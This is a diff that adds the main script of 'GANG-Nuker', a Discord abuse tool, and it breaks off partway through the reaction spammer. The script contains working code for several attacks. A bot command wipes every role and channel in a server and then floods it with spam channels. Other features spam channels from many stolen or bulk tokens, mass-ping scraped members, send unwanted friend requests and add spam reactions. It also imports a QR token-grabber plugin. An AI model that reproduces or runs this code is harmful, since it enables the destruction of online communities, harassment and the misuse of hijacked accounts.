diff --git a/GANG.py b/GANG.py new file mode 100644 index 0000000..12d0693 --- /dev/null +++ b/GANG.py @@ -0,0 +1,1298 @@ +# https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# Coded / Dev / Owner: ††#1792 +# Copyright © GANG-Nuker +######################################################### + +from utilities.Settings.common import * +from utilities.Settings.libarys import * +from utilities.Settings.update import search_for_updates + +import utilities.Plugins.Account_Nuker +import utilities.Plugins.Auto_Login +import utilities.Plugins.DM_Deleter +import utilities.Plugins.Token_Info +import utilities.Plugins.QR_Grabber + +w = Fore.WHITE +b = Fore.BLACK +g = Fore.LIGHTGREEN_EX +y = Fore.LIGHTYELLOW_EX +m = Fore.LIGHTMAGENTA_EX +c = Fore.LIGHTCYAN_EX +lr = Fore.LIGHTRED_EX +lb = Fore.LIGHTBLUE_EX +# r = Fore.RESET + +setTitle(f"Proxies | ") +choice = input(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Would You Like To Use Proxies? [Y/N]: {m}") +if choice.lower() == 'y' or choice.lower() == 'yes': + if os.path.basename(sys.argv[0]).endswith("exe"): + with open(getTempDir()+"\\gang_proxies", 'w'): pass + clear() + proxy_scrape() + sleep(0.3) + try: + assert sys.version_info >= (3,9) + except AssertionError: + print(f"{Fore.RED}Your Python Version is Not supported: ({sys.version_info[0]}.{sys.version_info[1]}.{sys.version_info[2]}), Please Download v3.9+ to use GANG-Nuker!{Fore.RESET}") + sleep(5) + print("[\x1b[95m1\x1b[95m\x1B[37m] Exiting!") + sleep(1.5) + os._exit(0) + else: + with open(getTempDir()+"\\gang_proxies", 'w'): pass + clear() + proxy_scrape() + sleep(0.3) + finally: + Fore.RESET +if choice.lower() == 'n' or choice.lower() == 'no': + pass + +######################################################### + +def Spinner(): + l = ['|', '/', '-', '\\', ' '] + for i in l+l+l: + sys.stdout.write(f"""\r {i}""") + sys.stdout.flush() + time.sleep(0.1) + +global cls +def cls(): + os.system('cls' if os.name=='nt' else 'clear') + +def tool(): + os.system('cls' if os.name=='nt' else 'clear') + +def clearConsole(): return os.system( + 'cls' if os.name in ('nt', 'dos') else 'clear') + +global useragent +def useragent(): + file = open('data/useragent.txt','r') + useragent = (random.choice(list(file))) + useragent2 = [] + useragent2.append(useragent) + useragent1 = [] + +######################################################### + +try: + with open('data/logins.json') as f: + config = json.load(f) +except: + with open('data/logins.json', 'w') as f: + print(f"\n[{g}#\x1b[95m\x1B[37m] Logging Into GANG-Nuker") + login = input("[\x1b[95m#\x1b[95m\x1B[37m] Enter A Username: ") + json.dump({"Login": login}, f, indent=4) + input(f"\n[\x1b[95m#\x1b[95m\x1B[37m] Successfully Logged in as: [{m}{login}{w}]\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER to Continue: ") + pass +with open('data/logins.json') as f: + config = json.load(f) +login = config.get('Login') + +languages = { + 'da' : 'Danish, Denmark', + 'de' : 'German, Germany', + 'en-GB' : 'English, United Kingdom', + 'en-US' : 'English, United States', + 'aud' : 'English, Austrlia', + 'es-ES' : 'Spanish, Spain', + 'fr' : 'French, France', + 'hr' : 'Croatian, Croatia', + 'lt' : 'Lithuanian, Lithuania', + 'hu' : 'Hungarian, Hungary', + 'nl' : 'Dutch, Netherlands', + 'no' : 'Norwegian, Norway', + 'pl' : 'Polish, Poland', + 'pt-BR' : 'Portuguese, Brazilian, Brazil', + 'ro' : 'Romanian, Romania', + 'fi' : 'Finnish, Finland', + 'sv-SE' : 'Swedish, Sweden', + 'vi' : 'Vietnamese, Vietnam', + 'tr' : 'Turkish, Turkey', + 'cs' : 'Czech, Czechia, Czech Republic', + 'el' : 'Greek, Greece', + 'bg' : 'Bulgarian, Bulgaria', + 'ru' : 'Russian, Russia', + 'uk' : 'Ukranian, Ukraine', + 'th' : 'Thai, Thailand', + 'zh-CN' : 'Chinese, China', + 'ja' : 'Japanese', + 'zh-TW' : 'Chinese, Taiwan', + 'ko' : 'Korean, Korea' +} + +regions = [ + 'brazil', + 'hongkong', + 'india', + 'japan', + 'rotterdam', + 'russia', + 'singapore', + 'southafrica', + 'sydney', + 'us-central', + 'us-east', + 'us-south', + 'us-west' +] + + +def spammer(): + global threads + setTitle(f"") + asc = asyncio.get_event_loop() + tokens = open('tokens.txt', 'r').read().splitlines() + clear = lambda: os.system('cls') + clear() + + colorama.init() + Write.Print(f'{login}\n', Colors.blue_to_purple, interval=0.000) + print('') + print('') + Write.Print(" /$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" /$$__ $$ /$$__ $$| $$$ | $$ /$$__ $$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$ \__/| $$ \ $$| $$$$| $$| $$ \__/\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$ /$$$$| $$$$$$$$| $$ $$ $$| $$ /$$$$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$|_ $$| $$__ $$| $$ $$$$| $$|_ $$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(f' > [v{THIS_VERSION}] | $$ \ $$| $$ | $$| $$\ $$$| $$ \ $$\n', Colors.purple_to_blue, interval=0.000) + Write.Print(f' > [gangnuker.tech] | $$$$$$/| $$ | $$| $$ \ $$| $$$$$$/\n', Colors.purple_to_blue, interval=0.000) + Write.Print(" > [Github.com/TT-Tutorials] \______/ |__/ |__/|__/ \__/ \______/ \n", Colors.purple_to_blue, interval=0.000) + Write.Print("════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════", Colors.purple_to_blue, interval=0.000) + print(f'''{m}'''.replace('$', f'{m}${w}') + f''' +{m}[{w}1{Fore.RESET}{m}]{Fore.RESET} Server Joiner {b}|{Fore.RESET}{m}[{w}9{Fore.RESET}{m}]{Fore.RESET} Channel Spammer {b}|{Fore.RESET}{m}[{w}17{Fore.RESET}{m}]{Fore.RESET} Patch Notes{Fore.RESET} {b}|{Fore.RESET}{m}[{w}25{Fore.RESET}{m}]{Fore.RESET} Token Generator{Fore.RESET} +{m}[{w}2{Fore.RESET}{m}]{Fore.RESET} Server Leaver {b}|{Fore.RESET}{m}[{w}10{Fore.RESET}{m}]{Fore.RESET} DM Spammer {b}|{Fore.RESET}{m}[{w}18{Fore.RESET}{m}]{Fore.RESET} About/Activity{Fore.RESET} {b}|{Fore.RESET}{m}[{w}26{Fore.RESET}{m}]{Fore.RESET} Nitro Generator{Fore.RESET} +{m}[{w}3{Fore.RESET}{m}]{Fore.RESET} Token Checker {b}|{Fore.RESET}{m}[{w}11{Fore.RESET}{m}]{Fore.RESET} Friend Spammer {b}|{Fore.RESET}{m}[{w}19{Fore.RESET}{m}]{Fore.RESET} Server Lookup{Fore.RESET} {b}|{Fore.RESET}{m}[{w}27{Fore.RESET}{m}]{Fore.RESET} QR Token Grabber{Fore.RESET} +{m}[{w}4{Fore.RESET}{m}]{Fore.RESET} Token Onliner {b}|{Fore.RESET}{m}[{w}12{Fore.RESET}{m}]{Fore.RESET} HypeSquad Joiner {b}|{Fore.RESET}{m}[{w}20{Fore.RESET}{m}]{Fore.RESET} Token Infomation{Fore.RESET} {b}|{Fore.RESET}{m}[{w}28{Fore.RESET}{m}]{Fore.RESET} Member ID Scraper{Fore.RESET} +{m}[{w}5{Fore.RESET}{m}]{Fore.RESET} Token Grabber {b}|{Fore.RESET}{m}[{w}13{Fore.RESET}{m}]{Fore.RESET} Reaction Spammer {b}|{Fore.RESET}{m}[{w}21{Fore.RESET}{m}]{Fore.RESET} Status Changer{Fore.RESET} {b}|{Fore.RESET}{m}[{w}29{Fore.RESET}{m}]{Fore.RESET} PFP Changer{Fore.RESET} +{m}[{w}6{Fore.RESET}{m}]{Fore.RESET} Server MassDM {b}|{Fore.RESET}{m}[{w}14{Fore.RESET}{m}]{Fore.RESET} NickName Changer {b}|{Fore.RESET}{m}[{w}22{Fore.RESET}{m}]{Fore.RESET} Group Spammer{Fore.RESET} {b}|{Fore.RESET}{m}[{w}30{Fore.RESET}{m}]{Fore.RESET} About{Fore.RESET} +{m}[{w}7{Fore.RESET}{m}]{Fore.RESET} Account Nuker {b}|{Fore.RESET}{m}[{w}15{Fore.RESET}{m}]{Fore.RESET} Webhook Spammer {b}|{Fore.RESET}{m}[{w}23{Fore.RESET}{m}]{Fore.RESET} Auto Login{Fore.RESET} {b}|{Fore.RESET}{m}[{w}31{Fore.RESET}{m}]{Fore.RESET}{lr} THREADS{Fore.RESET} +{m}[{w}8{Fore.RESET}{m}]{Fore.RESET} Server Nuker {b}|{Fore.RESET}{m}[{w}16{Fore.RESET}{m}]{Fore.RESET} VC Spammer {b}|{Fore.RESET}{m}[{w}24{Fore.RESET}{m}]{Fore.RESET} DM Deleter{Fore.RESET} {b}|{Fore.RESET}{m}[{w}32{Fore.RESET}{m}]{Fore.RESET}{lr} EXIT{Fore.RESET}''') + Write.Print("════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════", Colors.blue_to_purple, interval=0.000) + choice = input(f'{m}[{w}>{m}]{w} Choice?: ') + + + +# JOINER + if choice == '1': + Spinner() + setTitle(f"Server Joiner | ") + gh = input(f""" +Joiner is in the Paid Version of GANG-Nuker!\nIf You Are Wanting to Purchase Make Sure to Checkout the Offical GANG-Nuker Website! + +[\x1b[95m1\x1b[95m\x1B[37m] GANG-Nuker Website +[\x1b[95m2\x1b[95m\x1B[37m] Exit + +[\x1b[95m>\x1b[95m\x1B[37m] Choice?: """) + + if gh in ['01','1']: + webbrowser.open('https://gangnuker.org') + elif gh in ['02','2']: + exit = spammer() + else: + print('') + + + +# LEAVER + if choice == '2': + Spinner() + setTitle(f"Server Leaver | ") + token = open("tokens.txt", "r").read().splitlines() + + ID = input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Server ID: ') + + apilink = "https://discord.com/api/v9/users/@me/guilds/" + str(ID) + + with open('tokens.txt', 'r') as handle: + tokens = handle.readlines() + for i in tokens: + token = i.rstrip() + headers = { + 'Authorization': token, + "content-length": "0", + "cookie": f"__cfuid={randstr(43)}; __dcfduid={randstr(32)}; locale=en-US", + "origin": "https://discord.com", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-origin", + "user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.600 Chrome/91.0.4472.106 Electron/13.1.4 Safari/537.36", + "x-context-properties": "eyJsb2NhdGlvbiI6Ikludml0ZSBCdXR0b24gRW1iZWQiLCJsb2NhdGlvbl9ndWlsZF9pZCI6Ijg3OTc4MjM4MDAxMTk0NjAyNCIsImxvY2F0aW9uX2NoYW5uZWxfaWQiOiI4ODExMDg4MDc5NjE0MTk3OTYiLCJsb2NhdGlvbl9jaGFubmVsX3R5cGUiOjAsImxvY2F0aW9uX21lc3NhZ2VfaWQiOiI4ODExOTkzOTI5MTExNTkzNTcifQ==", + "x-debug-options": "bugReporterEnabled", + "x-super-properties": "eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRGlzY29yZCBDbGllbnQiLCJyZWxlYXNlX2NoYW5uZWwiOiJjYW5hcnkiLCJjbGllbnRfdmVyc2lvbiI6IjEuMC42MDAiLCJvc192ZXJzaW9uIjoiMTAuMC4yMjAwMCIsIm9zX2FyY2giOiJ4NjQiLCJzeXN0ZW1fbG9jYWxlIjoic2siLCJjbGllbnRfYnVpbGRfbnVtYmVyIjo5NTM1MywiY2xpZW50X2V2ZW50X3NvdXJjZSI6bnVsbH0=" + } + requests.delete(apilink, headers=headers) + print(f'[{g}>{Fore.RESET}] Done') + + time.sleep(1) + exit = input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# TOKEN CHECKER + if choice == '3': + Spinner() + setTitle(f"Token Checker | ") + print(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Loading Tokens:\n') + time.sleep(0.5) + def success(text): lock.acquire(); print(f"[{Fore.GREEN}>{Fore.RESET}] {Fore.GREEN}Valid {Fore.RESET}{text}{Fore.RESET}"); lock.release() + def invalid(text): lock.acquire(); print(f"[{Fore.RED}>{Fore.RESET}] {Fore.RED}Invalid {Fore.RED} {text}{Fore.RESET}"); lock.release() + + with open("tokens.txt", "r") as f: tokens = f.read().splitlines() + def save_tokens(): + with open("tokens.txt", "w") as f: f.write("") + for token in tokens: + with open("tokens.txt", "a") as f: f.write(token + "\n") + def removeDuplicates(file): + lines_seen = set() + with open(file, "r+") as f: + d = f.readlines(); f.seek(0) + for i in d: + if i not in lines_seen: f.write(i); lines_seen.add(i) + f.truncate() + def check_token(token:str): + response = requests.get('https://discord.com/api/v9/users/@me/library', headers={"accept": "*/*","accept-encoding": "gzip, deflate, br","accept-language": "en-US,en;q=0.9","authorization": token,"cookie": "__dcfduid=88221810e37411ecb92c839028f4e498; __sdcfduid=88221811e37411ecb92c839028f4e498dc108345b16a69b7966e1b3d33d2182268b3ffd2ef5dfb497aef45ea330267cf; locale=en-US; OptanonConsent=isIABGlobal=false&datestamp=Fri+Jun+03+2022+15%3A36%3A59+GMT-0400+(Eastern+Daylight+Time)&version=6.33.0&hosts=&landingPath=https%3A%2F%2Fdiscord.com%2F&groups=C0001%3A1%2CC0002%3A1%2CC0003%3A1; __stripe_mid=3a915c95-4cf7-4d27-9d85-cfea03f7ce829a88e5; __stripe_sid=b699111a-a911-402d-a08a-c8801eb0f2e8baf912; __cf_bm=nEUsFi1av6PiX4cHH1PEcKFKot6_MslL4UbUxraeXb4-1654285264-0-AU8vy1OnS/uTMTGu2TbqIGYWUreX3IAEpMo++NJZgaaFRNAikwxeV/gxPixQ/DWlUyXaSpKSNP6XweSVG5Mzhn/QPdHU3EmR/pQ5K42/mYQaiRRl6osEVJWMMtli3L5iIA==","referer": "https://discord.com/channels/967617613960187974/981260247807168532","sec-fetch-dest": "empty","sec-fetch-mode": "cors","sec-fetch-site": "same-origin","sec-gpc": "1","user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36","x-discord-locale": "en-US","x-super-properties": "eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiQ2hyb21lIiwiZGV2aWNlIjoiIiwic3lzdGVtX2xvY2FsZSI6ImVuLVVTIiwiYnJvd3Nlcl91c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwMi4wLjUwMDUuNjEgU2FmYXJpLzUzNy4zNiIsImJyb3dzZXJfdmVyc2lvbiI6IjEwMi4wLjUwMDUuNjEiLCJvc192ZXJzaW9uIjoiMTAiLCJyZWZlcnJlciI6IiIsInJlZmVycmluZ19kb21haW4iOiIiLCJyZWZlcnJlcl9jdXJyZW50IjoiIiwicmVmZXJyaW5nX2RvbWFpbl9jdXJyZW50IjoiIiwicmVsZWFzZV9jaGFubmVsIjoic3RhYmxlIiwiY2xpZW50X2J1aWxkX251bWJlciI6MTMwNDEwLCJjbGllbnRfZXZlbnRfc291cmNlIjpudWxsfQ=="}, timeout=5) + if response.status_code == 200: success(f"| {token}") + else: tokens.remove(token); invalid(f"| {token}") + def check_tokens(): + threads=[] + for token in tokens: + try:threads.append(threading.Thread(target=check_token, args=(token,))) + except Exception as e: pass + for thread in threads: thread.start() + for thread in threads: thread.join() + def start(): + removeDuplicates("tokens.txt") + check_tokens() + save_tokens() + + start() + print(f'\n\n[\x1b[95m>\x1b[95m\x1B[37m] All Tokens have been Checked! (tokens.txt has been updated with only vaild tokens!)') + time.sleep(1) + exit = input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# TOKEN ONLINER + if choice == '4': + Spinner() + setTitle(f"Token Onliner | ") + config = { + "details": "FREE VERSION", + "state": "https://gangnuker.org", + "name": "GANG NUKER", + } + + class Onliner: + def __init__(self, token) -> None: + self.token = token + self.statuses = ["online", "idle", "dnd"] + + def __online__(self): + ws = websocket.WebSocket() + ws.connect("wss://gateway.discord.gg/?encoding=json&v=9") + response = ws.recv() + event = json.loads(response) + heartbeat_interval = int(event["d"]["heartbeat_interval"]) / 1000 + ws.send( + json.dumps( + { + "op": 2, + "d": { + "token": self.token, + "properties": { + "$os": sys.platform, + "$browser": "RTB", + "$device": f"{sys.platform} Device", + }, + "presence": { + "game": { + "name": config["name"], + "type": 0, + "details": config["details"], + "state": config["state"], + }, + "status": random.choice(self.statuses), + "since": 0, + "activities": [], + "afk": False, + }, + }, + "s": None, + "t": None, + } + ) + ) + + print(f"\n[{g}+{w}] Online | {self.token}") + + while True: + heartbeatJSON = { + "op": 1, + "token": self.token, + "d": "null" + } + ws.send(json.dumps(heartbeatJSON)) + time.sleep(heartbeat_interval) + + + for token in open("./tokens.txt", "r").read().splitlines(): + threading.Thread(target=Onliner(token).__online__).start() + time.sleep(2) + exit = input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# TOKEN GRABBER + if choice == '5': + Spinner() + setTitle(f"Token Grabber | ") + print(f"\n[{lr}!{w}] Token Grabber is Currently Down... Updating Soon!") + + time.sleep(2.5) + exit = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + clear() + exit = spammer() + + + + +# SERVER MASSDM + if choice == '6': + Spinner() + setTitle(f"Server MassDM | ") + print(f"\n[{lr}!{w}] Server MassDM is Currently Down... Updating Soon!") + + time.sleep(2.5) + exit = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + clear() + exit = spammer() + + + +# ACCOUNT NUKER + if choice == '7': + Spinner() + setTitle(f"Account Nuker | ") + token = input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Token: ') + validateToken(token) + Server_Name = str(input(f'[\x1b[95m>\x1b[95m\x1B[37m] Server Name?: ')) + message_Content = str(input(f'[\x1b[95m>\x1b[95m\x1B[37m] MassDM Message?: ')) + if threading.active_count() < threads: + threading.Thread(target=utilities.Plugins.Account_Nuker.GANGNUKER_START, args=(token, Server_Name, message_Content)).start() + + + +# SERVER NUKER + if choice == '8': + Spinner() + setTitle(f"Server Nuker | ") +# intents = discord.Client(intents=discord.Intents().all()) +# width = os.get_terminal_size().columns + def menu(): + token = input(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Bot token : ") + f = open("utilities/Plugins/ignore/.token", "w") + f.write(token) + f.close() + + prefix = input(f"[\x1b[95m>\x1b[95m\x1B[37m] Bot prefix : ") + f = open("utilities/Plugins/ignore/.prefix", "w") + f.write(prefix) + f.close() + + spammessage = input(f"[\x1b[95m>\x1b[95m\x1B[37m] Spam message : ") + f = open("utilities/Plugins/ignore/.message", "w") + f.write(spammessage) + f.close() + + channelsname = input(f"[\x1b[95m>\x1b[95m\x1B[37m] Channels name : ") + f = open("utilities/Plugins/ignore/.channelsname", "w") + channelsname = channelsname.lower() + channelsname.replace("", "-") + f.write(channelsname) + f.close() + main() + + def main(): + + prefix = open("utilities/Plugins/ignore/.prefix", "r") + prefix = prefix.read() + + token = open("utilities/Plugins/ignore/.token", "r") + token = token.read() + + channelsname = open("utilities/Plugins/ignore/.channelsname", "r") + channelsname = channelsname.read() + + spammessage = open("utilities/Plugins/ignore/.message", "r") + spammessage = spammessage.read() + + gang = commands.Bot(command_prefix=prefix, intents=discord.Intents().all()) + gang.remove_command('help') + + @gang.event + async def on_ready(): + if len(gang.guilds) > 1: + guildpl = "guilds" + else: + guildpl = "guild" + activity = discord.Game(name=f"GANG-Nuker Server Nuker", type=3) + await gang.change_presence(status=discord.Status.dnd, activity=activity) + clear() + print(f"[\x1b[95m>\x1b[95m\x1B[37m] Bot : {gang.user} ({len(gang.guilds)} {guildpl})") + print(f"[\x1b[95m>\x1b[95m\x1B[37m] Prefix : {prefix}") + print(f"[\x1b[95m>\x1b[95m\x1B[37m] Spam message : {spammessage}") + print(f"[\x1b[95m>\x1b[95m\x1B[37m] Channels name : {channelsname}") + print(f"") + print(f"[\x1b[95m>\x1b[95m\x1B[37m] type: {prefix}nuke in a channel") + print(f"") + + @gang.event + async def on_guild_channel_create(channel): + while True: + await channel.send(spammessage) + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Sent : {spammessage}") + + @gang.event + async def on_guild_join(guild): + for channel in guild.text_channels: + if channel.permissions_for(guild.me).create_instant_invite: + invite = await channel.create_invite() + break + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Joined Guild : {guild.name} ({guild.id}) {invite}") + + @gang.command() + async def nuke(ctx): + await ctx.message.delete() + print(f"[\x1b[95m>\x1b[95m\x1B[37m] Nuking {ctx.guild.name} ({ctx.guild.id})...") + await ctx.guild.edit(name="GANG-Nuker Runs Discord") + for role in ctx.guild.roles: + try: + await role.delete() + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Deleted: @{role.name}") + except: + pass + print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Couldnt Delete: @{role.name}") + + for channel in ctx.guild.channels: + try: + await channel.delete() + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Deleted: #{channel.name}") + except: + pass + print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Couldnt Delete: #{channel.name}") + try: + for i in range(50): + await ctx.guild.create_text_channel(channelsname) + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Created: #{channel.name}") + except Exception as er: + print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Error: {er}") + try: + gang.run(token) + except Exception as er: + pass + print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Error") + input() + + while True: + menu() + + + +# CHANNEL SPAMMER + if choice == '9': + Spinner() + setTitle(f"Channel Spammer | ") + print(f"""\n[{Fore.LIGHTRED_EX}!{Fore.RESET}] Make Sure Your Tokens Are In tokens.txt For The Spammer To Work!\n""") + tokens = open("tokens.txt", "r").read().splitlines() + server = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Server ID: ') + channel = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Channel ID: ') + mess = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Message?: ') + delay = float(input(f'[\x1b[95m>\x1b[95m\x1B[37m] Delay: ')) + ch = input('[\x1b[95m>\x1b[95m\x1B[37m] Random Strings: y/n?: ').lower() + mas = input('[\x1b[95m>\x1b[95m\x1B[37m] MassPing?: y/n?: ').lower() + + if mas == 'y': + with open("tokens.txt") as f: + firstline = f.readline().rstrip() + bot = discum.Client(token=firstline) + + def close_after_fetching(resp, guild_id): + if bot.gateway.finishedMemberFetching(guild_id): + lenmembersfetched = len(bot.gateway.session.guild(guild_id).members) + print(str(lenmembersfetched) + ' members fetched') + bot.gateway.removeCommand( + {'function': close_after_fetching, 'params': {'guild_id': guild_id}}) + bot.gateway.close() + + def get_members(guild_id, channel_id): + bot.gateway.fetchMembers(guild_id, channel_id, keep='all', wait=1) + bot.gateway.command( + {'function': close_after_fetching, 'params': {'guild_id': guild_id}}) + bot.gateway.run() + bot.gateway.resetSession() + return bot.gateway.session.guild(guild_id).members + + members = get_members(server, channel) + memberslist = [] + + for memberID in members: + memberslist.append(memberID) + print(memberID) + + f = open('data/users.txt', "w") + for element in memberslist: + f.write(f'<@{element}>' + '\n') + f.close() + + def spam(token, mess): + if mas == 'y': + with open("data/users.txt", "r") as file: + allText = file.read() + words = list(map(str, allText.split())) + mess += ''.join(random.choice(words)) + + if ch == 'y': + mess += " | " + "".join(random.choices(string.ascii_lowercase + string.digits, k=5)) + + elif ch == 'n': + pass + + else: + pass + + url = 'https://discord.com/api/v9/channels/' + channel + '/messages' + payload = {"content": mess, "tts": False} + header = mainHeader(token) + + while True: + time.sleep(delay) + src = requests.post(url, headers=header, json=payload) + + if src.status_code == 429: + ratelimit = json.loads(src.content) + print(f"{Fore.LIGHTRED_EX}[!]{Fore.RESET} Ratelimit for", + str(float(ratelimit['retry_after'])) + " seconds") + time.sleep(float(ratelimit['retry_after'])) + + elif src.status_code == 200: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Sent: {mess}') + + elif src.status_code == 401: + print(f'[{Fore.LIGHTRED_EX}!{Fore.RESET}] Invalid Token') + elif src.status_code == 404: + print(f'[{Fore.LIGHTRED_EX}!{Fore.RESET}] Not Found') + elif src.status_code == 403: + print(f'[{Fore.LIGHTRED_EX}!{Fore.RESET}] Token Doesnt Have Perms For This Channel!') + + exit = input(f'') + clear() + spammer() + + def thread(): + text = mess + for token in tokens: + threading.Thread(target=spam, args=(token, text)).start() + + start = input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER To Start: ') + start = thread() + + time.sleep(2) + exit = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + clear() + exit = spammer() + + + +# DM SPAMMER + if choice == '10': + Spinner() + setTitle(f"DM Spammer | ") + gh = input(f""" +DM Spammer is in the Paid Version of GANG-Nuker!\nIf You Are Wanting to Purchase Make Sure to Checkout the Offical GANG-Nuker Website! + +[\x1b[95m1\x1b[95m\x1B[37m] GANG-Nuker Website +[\x1b[95m2\x1b[95m\x1B[37m] Exit + +[\x1b[95m>\x1b[95m\x1B[37m] Choice?: """) + + if gh in ['01','1']: + webbrowser.open('https://gangnuker.org') + elif gh in ['02','2']: + exit = spammer() + else: + print('') + + + +# FRIEND REQ SPAMMER + if choice == '11': + Spinner() + setTitle(f"Friend Request Spammer | ") + def friender(token, user): + try: + user = user.split("#") + headers = mainHeader(token) + payload = {"username": user[0], "discriminator": user[1]} + src = requests.post('https://discord.com/api/v9/users/@me/relationships', headers=headers, + json=payload) + if src.status_code == 204: + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Friend Request Sent to {user[0]}#{user[1]}! ") + except Exception as e: + print(e) + + user = input(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Username + Tag: ") + tokens = open("tokens.txt", "r").read().splitlines() + delay = float(input(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Delay: ')) + for token in tokens: + time.sleep(delay) + threading.Thread(target=friender, args=(token, user)).start() + + time.sleep(2) + exit = input(f'[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# HYPESQUAD JOINER + if choice == '12': + Spinner() + setTitle(f"HypeSquad Joiner | ") + print(f'''\n[\x1b[95m1\x1b[95m\x1B[37m] {Fore.MAGENTA}Bravery{Fore.RESET} +[\x1b[95m2\x1b[95m\x1B[37m] {Fore.LIGHTRED_EX}Brilliance{Fore.RESET} +[\x1b[95m3\x1b[95m\x1B[37m] {Fore.LIGHTCYAN_EX}Balance{Fore.RESET} +[\x1b[95m4\x1b[95m\x1B[37m] Leave The HypeSquad''') + + house = input("\n[\x1b[95m>\x1b[95m\x1B[37m] Choice: ") + + def hype(token): + headers = mainHeader(token) + + if house == "1": + housefinal = '1' + + if house == "2": + housefinal = '2' + + if house == "3": + housefinal = '3' + + if house == '4': + housefinal = None + + if house == '1' or '2' or '3': + payload = { + 'house_id': housefinal + } + rep = requests.post("https://discord.com/api/v9/hypesquad/online", json=payload, headers=headers) + if rep.status_code == 204: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Done') + else: + print(f'[{Fore.LIGHTRED_EX}!{Fore.RESET}] Failed') + + if house == '4': + payload = { + 'house_id': housefinal + } + req = requests.delete('https://discord.com/api/v9/hypesquad/online', headers=headers, json=payload) + if req.status_code == 204: + print(f'[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Done') + else: + pass + + else: + pass + + tokens = open('tokens.txt', 'r').read().splitlines() + for token in tokens: + threading.Thread(target=hype(token)).start() + + time.sleep(1) + exit = input('[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') + exit = clear() + exit = spammer() + + + +# REACTION SPAMMER + if choice == '13': + Spinner() + setTitle(f"Reaction Spammer | ") + def reaction(chd, iddd, org, token): + headers = {'Content-Type': 'application/json', + 'Accept': '*/*', + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'en-US', + 'Cookie': f"__cfuid={randstr(43)}; __dcfduid={randstr(32)}; locale=en-US", + 'DNT': '1', + 'origin': 'https://discord.com', + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-origin", + 'TE': 'Trailers', + 'X-Super-Properties': 'eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRGlzY29yZCBDbGllbnQiLCJyZWxlYXNlX2NoYW5uZWwiOiJzdGFibGUiLCJjbGllbnRfdmVyc2lvbiI6IjEuMC45MDAxIiwib3NfdmVyc2lvbiI6IjEwLjAuMTkwNDIiLCJvc19hcmNoIjoieDY0Iiwic3lzdGVtX2xvY2FsZSI6ImVuLVVTIiwiY2xpZW50X2J1aWxkX251bWJlciI6ODMwNDAsImNsaWVudF9ldmVudF9zb3VyY2UiOm51bGx9', + 'authorization': token, + 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0' + } + + emoji = ej.emojize(org, use_aliases=True) + a = requests.put( + f"https://discordapp.com/api/v9/channels/{chd}/messages/{iddd}/reactions/{emoji}/@me", + headers=headers) + if a.status_code == 204: + print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Reaction {org}") + else: + print(f"[{Fore.LIGHTRED_EX}!{Fore.RESET}] Error") + + tokens = open('tokens.txt', 'r').read().splitlines() + chd = input('\n[\x1b[95m>\x1b[95m\x1B[37m] Channel ID?: ') + iddd = 